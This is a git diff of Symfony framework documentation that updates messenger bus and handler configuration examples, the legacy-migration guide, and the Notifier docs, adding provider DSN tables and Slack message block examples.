@@ -70,31 +74,25 @@ an **event bus**. The event bus could have zero or more subscribers.
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                // The bus that is going to be injected when injecting MessageBusInterface
-                'default_bus' => 'command.bus',
-                'buses' => [
-                    'command.bus' => [
-                        'middleware' => [
-                            'validation',
-                            'doctrine_transaction',
-                        ],
-                    ],
-                    'query.bus' => [
-                        'middleware' => [
-                            'validation',
-                        ],
-                    ],
-                    'event.bus' => [
-                        'default_middleware' => 'allow_no_handlers',
-                        'middleware' => [
-                            'validation',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // The bus that is going to be injected when injecting MessageBusInterface
+            $framework->messenger()->defaultBus('command.bus');
+
+            $commandBus = $framework->messenger()->bus('command.bus');
+            $commandBus->middleware()->id('validation');
+            $commandBus->middleware()->id('doctrine_transaction');
+
+            $queryBus = $framework->messenger()->bus('query.bus');
+            $queryBus->middleware()->id('validation');
+
+            $eventBus = $framework->messenger()->bus('event.bus');
+            // the 'allow_no_handlers' middleware allows to have no handler
+            // configured for this bus without throwing an exception
+            $eventBus->defaultMiddleware('allow_no_handlers');
+            $eventBus->middleware()->id('validation');
+        };
 
 This will create three new services:
 
@@ -150,30 +148,30 @@ you can restrict each handler to a specific bus using the ``messenger.message_ha
 This way, the ``App\MessageHandler\SomeCommandHandler`` handler will only be
 known by the ``command.bus`` bus.
 
-You can also automatically add this tag to a number of classes by following
-a naming convention and registering all of the handler services by name with
-the correct tag:
+You can also automatically add this tag to a number of classes by using
+the :ref:`_instanceof service configuration <di-instanceof>`. Using this,
+you can determine the message bus based on an implemented interface:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/services.yaml
+        services:
+            # ...
+
+            _instanceof:
+                # all services implementing the CommandHandlerInterface
+                # will be registered on the command.bus bus
+                App\MessageHandler\CommandHandlerInterface:
+                    tags:
+                        - { name: messenger.message_handler, bus: command.bus }
 
-        # put this after the "App\" line that registers all your services
-        command_handlers:
-            namespace: App\MessageHandler\
-            resource: '%kernel.project_dir%/src/MessageHandler/*CommandHandler.php'
-            autoconfigure: false
-            tags:
-                - { name: messenger.message_handler, bus: command.bus }
-
-        query_handlers:
-            namespace: App\MessageHandler\
-            resource: '%kernel.project_dir%/src/MessageHandler/*QueryHandler.php'
-            autoconfigure: false
-            tags:
-                - { name: messenger.message_handler, bus: query.bus }
+                # while those implementing QueryHandlerInterface will be
+                # registered on the query.bus bus
+                App\MessageHandler\QueryHandlerInterface:
+                    tags:
+                        - { name: messenger.message_handler, bus: query.bus }
 
     .. code-block:: xml
 
@@ -185,32 +183,45 @@ the correct tag:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <!-- command handlers -->
-                <prototype namespace="App\MessageHandler\" resource="%kernel.project_dir%/src/MessageHandler/*CommandHandler.php" autoconfigure="false">
+                <!-- ... -->
+
+                <!-- all services implementing the CommandHandlerInterface
+                     will be registered on the command.bus bus -->
+                <instanceof id="App\MessageHandler\CommandHandlerInterface">
                     <tag name="messenger.message_handler" bus="command.bus"/>
-                </prototype>
-                <!-- query handlers -->
-                <prototype namespace="App\MessageHandler\" resource="%kernel.project_dir%/src/MessageHandler/*QueryHandler.php" autoconfigure="false">
+                </instanceof>
+
+                <!-- while those implementing QueryHandlerInterface will be
+                     registered on the query.bus bus -->
+                <instanceof id="App\MessageHandler\QueryHandlerInterface">
                     <tag name="messenger.message_handler" bus="query.bus"/>
-                </prototype>
+                </instanceof>
             </services>
         </container>
 
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        // Command handlers
-        $container->services()
-            ->load('App\MessageHandler\\', '%kernel.project_dir%/src/MessageHandler/*CommandHandler.php')
-            ->autoconfigure(false)
-            ->tag('messenger.message_handler', ['bus' => 'command.bus']);
+        use App\MessageHandler\CommandHandlerInterface;
+        use App\MessageHandler\QueryHandlerInterface;
 
-        // Query handlers
-        $container->services()
-            ->load('App\MessageHandler\\', '%kernel.project_dir%/src/MessageHandler/*QueryHandler.php')
-            ->autoconfigure(false)
-            ->tag('messenger.message_handler', ['bus' => 'query.bus']);
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            // ...
+
+            // all services implementing the CommandHandlerInterface
+            // will be registered on the command.bus bus
+            $services->instanceof(CommandHandlerInterface::class)
+                ->tag('messenger.message_handler', ['bus' => 'command.bus']);
+
+            // while those implementing QueryHandlerInterface will be
+            // registered on the query.bus bus
+            $services->instanceof(QueryHandlerInterface::class)
+                ->tag('messenger.message_handler', ['bus' => 'query.bus']);
+        };
 
 Debugging the Buses
 -------------------
@@ -249,4 +260,9 @@ You can also restrict the list to a specific bus by providing its name as argume
             handled by App\MessageHandler\MultipleBusesMessageHandler
        ---------------------------------------------------------------------------------------
 
+.. tip::
+
+    Since Symfony 5.1, the command will also show the PHPDoc description of
+    the message and handler classes.
+
 .. _article about CQRS: https://martinfowler.com/bliki/CQRS.html
diff --git a/migration.rst b/migration.rst
index fa8c2bfc24b..71c55ba240d 100644
--- a/migration.rst
+++ b/migration.rst
@@ -7,7 +7,7 @@ Migrating an Existing Application to Symfony
 When you have an existing application that was not built with Symfony,
 you might want to move over parts of that application without rewriting
 the existing logic completely. For those cases there is a pattern called
-`Strangler Application`_. The basic idea of this pattern is to create a
+`Strangler Fig Application`_. The basic idea of this pattern is to create a
 new application that gradually takes over functionality from an existing
 application. This migration approach can be implemented with Symfony in
 various ways and has some benefits over a rewrite such as being able
@@ -82,7 +82,7 @@ Setting up Composer
 Another point you will have to look out for is conflicts between
 dependencies in both applications. This is especially important if your
 existing application already uses Symfony components or libraries commonly
-used in Symfony applications such as Doctrine ORM, Swiftmailer or Twig.
+used in Symfony applications such as Doctrine ORM or Twig.
 A good way for ensuring compatibility is to use the same ``composer.json``
 for both project's dependencies.
 
@@ -238,6 +238,7 @@ could look something like this::
     // public/index.php
     use App\Kernel;
     use App\LegacyBridge;
+    use Symfony\Component\Dotenv\Dotenv;
     use Symfony\Component\ErrorHandler\Debug;
     use Symfony\Component\HttpFoundation\Request;
 
@@ -262,7 +263,7 @@ could look something like this::
     if ($trustedProxies = $_SERVER['TRUSTED_PROXIES'] ?? $_ENV['TRUSTED_PROXIES'] ?? false) {
         Request::setTrustedProxies(
           explode(',', $trustedProxies),
-          Request::HEADER_X_FORWARDED_ALL ^ Request::HEADER_X_FORWARDED_HOST
+          Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO
         );
     }
 
@@ -288,7 +289,7 @@ could look something like this::
 
 There are 2 major deviations from the original file:
 
-Line 15
+Line 18
   First of all, ``$kernel`` is made globally available. This allows you to use
   Symfony features inside your existing application and gives access to
   services configured in our Symfony application. This helps you prepare your
@@ -296,7 +297,7 @@ Line 15
   it over. For instance, by replacing outdated or redundant libraries with
   Symfony components.
 
-Line 38 - 47
+Line 41 - 50
   Instead of sending the Symfony response directly, a ``LegacyBridge`` is
   called to decide whether the legacy application should be booted and used to
   create the response instead.
@@ -315,11 +316,11 @@ somewhat like this::
 
     class LegacyBridge
     {
-        public static function prepareLegacyScript(Request $request, Response $response, string $publicDirectory): string
+        public static function prepareLegacyScript(Request $request, Response $response, string $publicDirectory): ?string
         {
             // If Symfony successfully handled the route, you do not have to do anything.
             if (false === $response->isNotFound()) {
-                return;
+                return null;
             }
 
             // Figure out how to map to the needed script file
@@ -463,7 +464,7 @@ chance to use Symfony's event lifecycle. For instance, this allows you to
 transition the authentication and authorization of the legacy application over
 to the Symfony application using the Security component and its firewalls.
 
-.. _`Strangler Application`: https://martinfowler.com/bliki/StranglerFigApplication.html
+.. _`Strangler Fig Application`: https://martinfowler.com/bliki/StranglerFigApplication.html
 .. _`autoload`: https://getcomposer.org/doc/04-schema.md#autoload
 .. _`Modernizing with Symfony`: https://youtu.be/YzyiZNY9htQ
 .. _`Symfony Panther`: https://github.com/symfony/panther
diff --git a/notifier.rst b/notifier.rst
index b626a79ac39..febb0d331e4 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -6,8 +6,7 @@ Creating and Sending Notifications
 
 .. versionadded:: 5.0
 
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Notifier component was introduced in Symfony 5.0.
 
 Installation
 ------------
@@ -22,8 +21,10 @@ Get the Notifier installed using:
 
     $ composer require symfony/notifier
 
-Channels: Chatters, Texters, Email and Browser
-----------------------------------------------
+.. _channels-chatters-texters-email-and-browser:
+
+Channels: Chatters, Texters, Email, Browser and Push
+----------------------------------------------------
 
 The notifier component can send notifications to different channels. Each
 channel can integrate with different providers (e.g. Slack or Twilio SMS)
@@ -37,6 +38,7 @@ The notifier component supports the following channels:
   services like Slack and Telegram;
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
+* Push Channel sends notifications to phones and browsers via push notifications.
 
 .. tip::
 
@@ -54,20 +56,39 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==========  ================================  ====================================================
-Service     Package                           DSN
-==========  ================================  ====================================================
-Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-Infobip     ``symfony/infobip-notifier``      ``infobip://TOKEN@default?from=FROM``
-Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
-OvhCloud    ``symfony/ovhcloud-notifier``     ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
-Sendinblue  ``symfony/sendinblue-notifier``   ``sendinblue://API_KEY@default?sender=PHONE``
-Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-Smsapi      ``symfony/smsapi-notifier``       ``smsapi://TOKEN@default?from=FROM``
-Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
-==========  ================================  ====================================================
+==============  ====================================  ===========================================================================
+Service         Package                               DSN
+==============  ====================================  ===========================================================================
+AllMySms        ``symfony/allmysms-notifier``         ``allmysms://LOGIN:APIKEY@default?from=FROM``
+AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
+Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
+FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
+FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
+Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
+Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
+MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
+MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
+Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
+Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
+Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
+OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
+Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
+Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
+SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
+SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
+Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
+TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
+Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
+Vonage          ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
+Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
+==============  ====================================  ===========================================================================
 
 .. versionadded:: 5.1
 
@@ -77,6 +98,20 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
     The Smsapi, Infobip, Mobyt, Esendex and Sendinblue integrations were introduced in Symfony 5.2.
 
+.. versionadded:: 5.3
+
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms (email), LightSms, SmsBiuras
+    and MessageBird integrations were introduced in Symfony 5.3.
+
+.. deprecated:: 5.4
+
+    The Nexmo integration was deprecated in Symfony 5.4, use the Vonage integration instead.
+
+.. versionadded:: 5.4
+
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet, FakeSms (logger),
+    Sms77 and Vonage integrations were introduced in Symfony 5.4.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -118,14 +153,14 @@ configure the ``texter_transports``:
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                'texter_transports' => [
-                    'twilio' => '%env(TWILIO_DSN)%',
-                ],
-            ],
-        ]);
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                ->texterTransport('twilio', '%env(TWILIO_DSN)%')
+            ;
+        };
 
 .. _notifier-chat-channel:
 .. _notifier-chatter-dsn:
@@ -137,35 +172,50 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==========  ================================  ===========================================================================
-Service     Package                           DSN
-==========  ================================  ===========================================================================
-Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
-GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``
-LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
-Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
-RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-Slack       ``symfony/slack-notifier``        ``slack://default/ID``
-Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
-Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL``
-==========  ================================  ===========================================================================
+==============  ====================================  =============================================================================
+Service         Package                               DSN
+==============  ====================================  =============================================================================
+AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
+FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
+Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
+Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
+GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+LinkedIn        ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
+Mattermost      ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+Mercure         ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
+MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
+RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
+Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
+==============  ====================================  =============================================================================
 
 .. versionadded:: 5.1
 
-    The Mattermost and RocketChat integrations were introduced in Symfony
+    The Firebase, Mattermost and RocketChat integrations were introduced in Symfony
     5.1. The Slack DSN changed in Symfony 5.1 to use Slack Incoming
     Webhooks instead of legacy tokens.
 
 .. versionadded:: 5.2
 
     The GoogleChat, LinkedIn, Zulip and Discord integrations were introduced in Symfony 5.2.
+    The Slack DSN changed in Symfony 5.2 to use Slack Web API again same as in 5.0.
+
+.. versionadded:: 5.3
+
+    The Gitter, Mercure, FakeChat (email) and Microsoft Teams integrations were introduced in Symfony 5.3.
+
+.. versionadded:: 5.4
+
+    The AmazonSns and FakeChat (logger) integrations were introduced in Symfony 5.4.
 
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash
 
     # .env
-    SLACK_DSN=slack://default/ID
+    SLACK_DSN=slack://TOKEN@default?channel=CHANNEL
 
 .. configuration-block::
 
@@ -200,14 +250,14 @@ Chatters are configured using the ``chatter_transports`` setting:
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                'chatter_transports' => [
-                    'slack' => '%env(SLACK_DSN)%',
-                ],
-            ],
-        ]);
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                ->chatterTransport('slack', '%env(SLACK_DSN)%')
+            ;
+        };
 
 .. _notifier-email-channel:
 
@@ -264,15 +314,85 @@ notification emails:
 
     .. code-block:: php
 
-        # config/packages/mailer.php
-        $container->loadFromExtension('framework', [
-            'mailer' => [
-                'dsn' => '%env(MAILER_DSN)%',
-                'envelope' => [
-                    'sender' => 'notifications@example.com',
-                ],
-            ],
-        ]);
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->mailer()
+                ->dsn('%env(MAILER_DSN)%')
+                ->envelope()
+                    ->sender('notifications@example.com')
+            ;
+        };
+
+Push Channel
+~~~~~~~~~~~~
+
+The push channel is used to send notifications to users by using
+:class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
+integration with these push services:
+
+==============  ====================================  =================================================================================
+Service         Package                               DSN
+==============  ====================================  =================================================================================
+Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
+Expo            ``symfony/expo-notifier``              ``expo://Token@default``
+OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID''``
+==============  ====================================  =================================================================================
+
+.. versionadded:: 5.4
+
+    The Expo and OneSignal integrations were introduced in Symfony 5.4.
+
+To enable a texter, add the correct DSN in your ``.env`` file and
+configure the ``texter_transports``:
+
+.. code-block:: bash
+
+    # .env
+    EXPO_DSN=expo://TOKEN@default
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/notifier.yaml
+        framework:
+            notifier:
+                texter_transports:
+                    expo: '%env(EXPO_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/notifier.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:notifier>
+                    <framework:texter-transport name="expo">
+                        %env(EXPO_DSN)%
+                    </framework:texter-transport>
+                </framework:notifier>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                ->texterTransport('expo', '%env(EXPO_DSN)%')
+            ;
+        };
 
 Configure to use Failover or Round-Robin Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -327,19 +447,19 @@ transport:
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                'chatter_transports' => [
-                    // Send notifications to Slack and use Telegram if
-                    // Slack errored
-                    'main' => '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%',
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                // Send notifications to Slack and use Telegram if
+                // Slack errored
+                ->chatterTransport('main', '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%')
 
-                    // Send notifications to the next scheduled transport calculated by round robin
-                    'roundrobin' => '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%',
-                ],
-            ],
-        ]);
+                // Send notifications to the next scheduled transport calculated by round robin
+                ->chatterTransport('roundrobin', '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%')
+            ;
+        };
 
 Creating & Sending Notifications
 --------------------------------
@@ -378,7 +498,7 @@ To send a notification, autowire the
             );
 
             // Send the notification to the recipient
-            $sentMessage = $notifier->send($notification, $recipient);
+            $notifier->send($notification, $recipient);
 
             // ...
         }
@@ -389,14 +509,6 @@ channels. The channels specify which channel (or transport) should be used
 to send the notification. For instance, ``['email', 'sms']`` will send
 both an email and sms notification to the user.
 
-The ``send()`` method used to send the notification returns a variable of type
-:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
-information such as the message ID and the original message contents.
-
-.. versionadded:: 5.2
-
-    The ``SentMessage`` class was introduced in Symfony 5.2.
-
 The default notification also has a ``content()`` and ``emoji()`` method to
 set the notification content and icon.
 
@@ -479,23 +591,21 @@ specify what channels should be used for specific levels (using
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                // ...
-                'channel_policy' => [
-                    // Use SMS, Slack and email for urgent notifications
-                    'urgent' => ['sms', 'chat/slack', 'email'],
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
 
-                    // Use Slack for highly important notifications
-                    'high' => ['chat/slack'],
-
-                    // Use browser for medium and low notifications
-                    'medium' => ['browser'],
-                    'low' => ['browser'],
-                ],
-            ],
-        ]);
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->notifier()
+                // Use SMS, Slack and email for urgent notifications
+                ->channelPolicy('urgent', ['sms', 'chat/slack', 'email'])
+                // Use Slack for highly important notifications
+                ->channelPolicy('high', ['chat/slack'])
+                // Use browser for medium and low notifications
+                ->channelPolicy('medium', ['browser'])
+                ->channelPolicy('medium', ['browser'])
+            ;
+        };
 
 Now, whenever the notification's importance is set to "high", it will be
 sent using the Slack transport::
@@ -514,7 +624,7 @@ sent using the Slack transport::
                 ->content('You got a new invoice for 15 EUR.')
                 ->importance(Notification::IMPORTANCE_HIGH);
 
-            $notifier->send($notification, new Recipient('wouter@wouterj.nl'));
+            $notifier->send($notification, new Recipient('wouter@example.com'));
 
             // ...
         }
@@ -600,7 +710,7 @@ The
 :class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface`
 and
 :class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
-also exists to modify messages send to those channels.
+also exists to modify messages sent to those channels.
 
 Disabling Delivery
 ------------------
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 9d03f83987c..bc1a4da1914 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -6,8 +6,7 @@ How to send Chat Messages
 
 .. versionadded:: 5.0
 
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Notifier component was introduced in Symfony 5.0.
 
 The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
 you to send messages to chat services like Slack or Telegram::
@@ -55,12 +54,12 @@ Adding Interactions to a Slack Message
 --------------------------------------
 
 With a Slack message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` to add
-some interactive options called `Block elements`_::
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` class
+to add some interactive options called `Block elements`_::
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlockElement;
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
     use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
     use Symfony\Component\Notifier\Message\ChatMessage;
@@ -98,20 +97,170 @@ some interactive options called `Block elements`_::
 
     $chatter->send($chatMessage);
 
-.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
+Adding Fields and Values to a Slack Message
+-------------------------------------------
+
+To add fields and values to your message you can use the
+:method:`SlackSectionBlock::field() <Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackSectionBlock::field>` method::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/field-method.png
+   :align: center
+
+.. versionadded:: 5.1
+
+    The `field()` method was introduced in Symfony 5.1.
+
+Adding a Header to a Slack Message
+----------------------------------
+
+To add a header to your message use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackHeaderBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackHeaderBlock('My Header')))
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/slack-header.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The ``SlackHeaderBlock`` class was introduced in Symfony 5.3.
+
+Adding a Footer to a Slack Message
+----------------------------------
+
+To add a footer to your message use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $contextBlock = (new SlackContextBlock())
+        ->text('My Context')
